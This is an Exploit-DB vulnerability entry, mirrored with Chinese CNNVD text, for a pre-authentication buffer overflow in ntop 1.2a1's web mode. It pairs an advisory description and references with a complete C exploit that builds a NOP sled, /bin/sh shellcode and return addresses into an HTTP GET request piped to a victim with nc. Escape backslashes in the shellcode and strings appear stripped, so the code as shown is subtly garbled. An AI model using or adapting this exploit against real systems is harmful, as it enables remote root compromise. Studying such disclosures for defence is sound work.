https://www.exploit-db.com/exploits/20150
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200010-076

web模式下运行的ntop存在缓冲区溢出漏洞。远程攻击者可以利用该漏洞执行任意代码。

source: http://www.securityfocus.com/bid/1576/info


ntop is a network usage monitoring tool for unix systems. It can be invoked at the console or as a server daemon, presenting statistics information via http with the -w parameter. In this mode, it is vulnerable to a buffer overflow before the user connecting to it can be authenticated. If exploited, an attacker can gain remote access to the system with the priviliges ntop is executing with. 

It is interesting to note that setuid ntop drops priviliges before this can be exploited, but is installed on *BSD systems only executable by members of group wheel. This leads to the assumption that it may often be executed as root (since users in wheel typically have root access..), so despite the fact that it drops priviliges it can still yield remote root access for the attacker if exploited when run as root.


#include <stdio.h>
#include <string.h>


char shellcode[] =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";

void usage()
{
 printf("NTOP ntop-1.2a1 -w mode command execution exploit.n");
 printf("                                 [email protected]");
 printf("Usage : ./ntop-w-exp | nc victim portn");
 exit(0);
}

void main( int argc, char *argv[] )
{
  int i,offset=-24;
#define CODE_LEN 240
#define NOP_LEN 50
  char code_buf[CODE_LEN];
  unsigned long esp=0xbedffb00;

  if(argc >= 2) offset = atoi(argv[1]);

  memset(code_buf,0x90,NOP_LEN); //insert NOP CODES
  memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode));
  for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4)
     *(long *)&code_buf[i]=(unsigned long)esp-offset;

  printf("GET /");
  for(i=0;i<CODE_LEN; i++)
  {
     putchar(code_buf[i]);
  }
  printf("rnrn");
}

来源:BID
名称:1576
链接:http://www.securityfocus.com/bid/1576
来源:DEBIAN
名称:20000830ntop:Stillremotelyexploitableusingbufferoverflows
链接:http://www.debian.org/security/2000/20000830
来源:OSVDB
名称:1513
链接:http://www.osvdb.org/1513
来源:FREEBSD
名称:FreeBSD-SA-00:36
链接:ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:36.ntop.asc